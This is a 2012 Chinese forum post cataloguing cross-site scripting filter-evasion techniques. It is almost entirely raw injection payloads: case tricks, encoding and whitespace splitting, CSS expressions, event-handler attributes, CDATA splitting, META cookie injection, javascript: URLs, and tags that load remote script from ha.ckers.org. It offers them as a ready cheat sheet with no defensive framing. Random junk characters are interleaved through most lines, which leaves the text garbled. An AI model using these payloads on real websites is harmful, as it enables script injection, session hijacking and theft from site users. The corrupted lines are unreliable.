找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2281|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写3 y* ~5 E* @  e$ _( |* j$ g
. a) X5 g) d; c

, y, c8 _' ~  K3 A+ k" z0 o; Y* x6 D
    <sCript>alert(‘d’)</scRipT>
- s0 T# q! L5 T$ }! o- ?% s2 T0 b1 x4 N( H# ^
2. 利用多加一些其它字符来规避Regular Expression的检查2 S9 X* C. b. O% c" C8 b3 g
( k8 `0 a1 b& `# [- V8 I0 A+ G+ [& p
    <<script>alert(‘c’)//<</script>
! c4 O6 A* T' k. D  c4 N; h) P% \* a' Y/ f* y0 e) V- A3 Y( U7 k
    <SCRIPT a=">" SRC="t.js"></SCRIPT>
3 ]8 z' i6 Z. \. V- C! ~
& j; a; D: X( O# S. X    <SCRIPT =">" SRC="t.js"></SCRIPT>3 o- c6 Y2 i# u) t2 P

8 b1 i! H8 U  F/ t    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
" Z1 ]0 U- E0 B% \  ]+ ~0 ]# T7 ^) e; U2 _# t
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
' j- T, T3 [& T6 M4 [3 T( W- G6 Q( R' {  I- q& ]
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
/ j. N! B  S: N
: p# i* w' B* k    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
( y! g9 o. n; \2 ^1 S8 q2 n9 m1 a2 \( b3 ~, J: Y, Z1 X2 j& U
3. 以其它扩展名取代.js
* U- v4 a& B) L# D  s5 R+ p6 M( N/ j8 N3 B6 Z, H
    <script src="bad.jpg"></script>
) p6 K3 {" H  D$ J1 h8 `6 i0 }; }' W$ |/ N3 ?. d/ y% f0 f: K
4. 将Javascript写在CSS档里
7 w2 b% _, ^( Z  D& ~& K  h# H
0 B8 k( \9 [  o: w) q9 ^    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">' K4 h# o2 @3 K+ h
- D% j# b; a' v1 d
       example:# |8 ?9 n6 P5 V& X4 G1 ~! A+ y

- \6 Y8 ^+ k6 G          body {! Q( P$ J: F5 }8 s! B
* n  G- i, S% N0 q3 Q
               background-image: url(‘javascript:alert("XSS");’)
% t( i* m5 O( @6 c1 c3 _6 N( T- s+ L! T' [7 V
          }/ U/ ^9 f. ]0 M, v* s& u
6 J/ c7 w& B& ~
5. 在script的tag里加入一些其它字符" N9 _2 S" i" t- ]" K: {* s

" u2 E; i% \* `( y, J; g2 x    <SCRIPT/SRC="t.js"></SCRIPT>8 c4 ^5 |4 ?# U' \

, l. N/ T! _! k4 S/ f7 g  b( e    <SCRIPT/anyword SRC="t.js"></SCRIPT>
' O* @, p# D6 I. `
; {# s1 J% b/ h7 \( a6. 使用tab或是new line来规避9 Q# w  @! f# K" J- j- B& P/ e
* A5 l7 [3 y' f) ?. }
    <img src="jav ascr ipt:alert(‘XSS3′)">
; w! \; j  f8 @8 }( u5 M
2 J3 s) `  L. i0 [    <img src="jav ascr ipt:alert(‘XSS3′)">
  g. ^/ }+ ?6 c' s* d
. h- ?0 e- T( F2 G  o    <IMG SRC="jav ascript:alert(‘XSS’);">
% Y+ m, T$ r2 P2 T4 r* {
1 p/ g8 I) f6 h6 o         -> tag
, r* S8 s! w* a1 f, A9 V( B* H; I' x. ^: t. E# @7 U+ P0 C
         -> new line" J+ |6 i, i1 @) @8 f
# |$ a- R" K# d# u6 c
7. 使用"\"来规避
0 x  |# W( w8 o3 l  A6 u
  V  c4 _" ~- d2 {& a    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
# l: G/ B' S3 F- U, }' S$ b
. `9 s9 l7 v; J1 B* F6 D    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
3 w- p# w) c9 k3 n; }1 k% Y3 F) i
# J9 W: m# s5 s4 q) l( ~4 |    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
0 a) A6 U0 @7 ^% Q- M& O: l6 |2 e- S1 |2 U# Q
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));"># F) [( M9 ^' U: e. @
) G% _7 ~# G* N6 I
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
5 {& R1 P4 F6 q! K. G) T8 y! M! n! E& T9 [7 `
8. 使用Hex encode来规避(也可能会把";"拿掉)- E, o! I, O" \. @1 ?' k

, H! J' {4 h8 Z: B" K- l& v    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
6 c8 v% H, l8 m' V& ~0 j- [8 X  h0 P. h
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
' [4 `& ?& u3 x( \1 \" a, M' P$ p5 v$ M% `+ d5 z
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
, ^& W8 E# d3 t( n% \6 y+ \' c4 Y) Y4 R
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">; ], n6 T, j& P
9 v" C* W. D1 J7 a' ]5 x2 u
9. script in HTML tag. M0 x# x: j& w, G7 y

+ G  L: d  `1 U7 X7 O    <body onload=」alert(‘onload’)」>, [. }9 s; C7 k1 K9 Q& [
( w/ `! l" r/ d+ \$ E, C
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload0 V1 x+ i+ r& l6 j& @' F
% c* Z9 K4 B9 L) M) C; G
10. 在swf里含有xss的code
. I$ A- @) a+ x2 D9 l( D9 D' E& h' v) J' r% b2 F: P8 c! Y1 j
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>+ f$ e7 F. Q: l2 W) k. c" l4 i
7 d' O" d  y; B' V& Y: x, R) e+ P' w
11. 利用CDATA将xss的code拆开,再组合起来。
% t; `1 q- @7 L2 ~9 Z! A7 j
; P4 Y$ Y$ i2 _; m- V% V    <XML ID=I><X><C>. }. v; b$ g; S+ r

/ I# v. G, `$ V0 Z: e; C. T5 Q    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
8 F2 F% ]* T) T# }. ^1 h( z% V  T* g  O9 |8 m
    </C></X>
, E, L2 y" ~7 c. f$ F: H& ~& y# Y7 V4 i: n; d
    </xml>
% t1 x* S" N8 `: E  F' |0 x# F
6 p2 S9 w  {% G' }+ U& Q    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
' f1 O8 n% Z: j3 O
( [$ |- c  F" i( a2 X    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
. R$ n$ u- t3 ^; a$ h' B, |' ^1 c9 B4 }. z  N
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>7 I# [1 |3 B& z+ @

# \6 s# F  [7 ^12. 利用HTML+TIME。2 f! ?1 Y( L+ b) q3 \: J

8 d6 [  q' v5 j$ n0 m    <HTML><BODY>" F. m) b* l* I/ k
  M, o2 `) I3 X4 y( }7 b" \
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">5 l* F; J% @! r3 y# X

$ f3 T/ Z2 T5 b! ~    <?import namespace="t" implementation="#default#time2">% ]- x7 S5 x# r4 a1 f) y4 a

: x" f4 l0 M1 i. I$ e    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
+ o+ W$ g$ D/ C+ h' U( U, b
0 f$ k- c/ ^0 J# F    </BODY></HTML>' A" N$ _" s; q; |8 K7 c
* k% z1 x( h/ E: X0 l- s7 l) m
13. 透过META写入Cookie。* }6 U$ k2 h' X0 y' m; P0 V% Z5 n

. V; }% K3 _! p. a3 u# p4 Z5 I7 D    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
. T( n+ T0 @/ {2 a$ D3 ^* e/ C$ g7 v% F
* \0 ~6 Q$ M# k& P  c14. javascript in src , href , url
; Y/ w" U% O. O
  S! N0 K/ T* O$ N6 v    <IFRAME SRC=javascript:alert(’13′)></IFRAME>
2 p) B! K$ ~2 M: \  P3 \& ~/ f: K% U( I, l( S7 Y* R
    <img src="javascript:alert(‘XSS3′)">
' q6 y' @5 V2 h/ n$ C* Y2 ]) i) U& {( G+ P, B$ Q  v
<IMG DYNSRC="javascript:alert(‘XSS20′)">6 U+ j0 e8 {$ z

  S' v4 U# s1 d5 E$ q" C0 N/ D& J/ E! F    <IMG LOWSRC="javascript:alert(‘XSS21′)">
% C. d) B/ g* w) w$ k0 Y0 T/ }
5 L3 D& x& }. z/ n- k    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">2 q0 J0 {8 E" l  U! X+ O
. ^3 K- O( m7 a4 x6 T
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>' z, z  M/ ~, X1 ]1 h
( ]7 g' m$ }& D9 S6 M
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">5 N: X1 H% u# D  ]: _! q; a
2 C; o  [: B! V, p2 V1 r& l
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">2 a9 [8 K( P9 Y9 h  Q) H. H

9 V/ x2 X  m9 z- O    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
0 `& j* L2 T0 ~2 `4 I9 M( d9 Y4 j7 W* P# d* K& @' f6 \
    </STYLE><A CLASS=XSS></A>5 o6 ]% z  u+ \1 j3 l6 K  h
% {/ {/ H4 o! O# k$ {' C3 |. T) }
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>% g' r* @  I4 J6 D6 y/ |0 [
: i' `  {5 M7 Z2 d3 _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表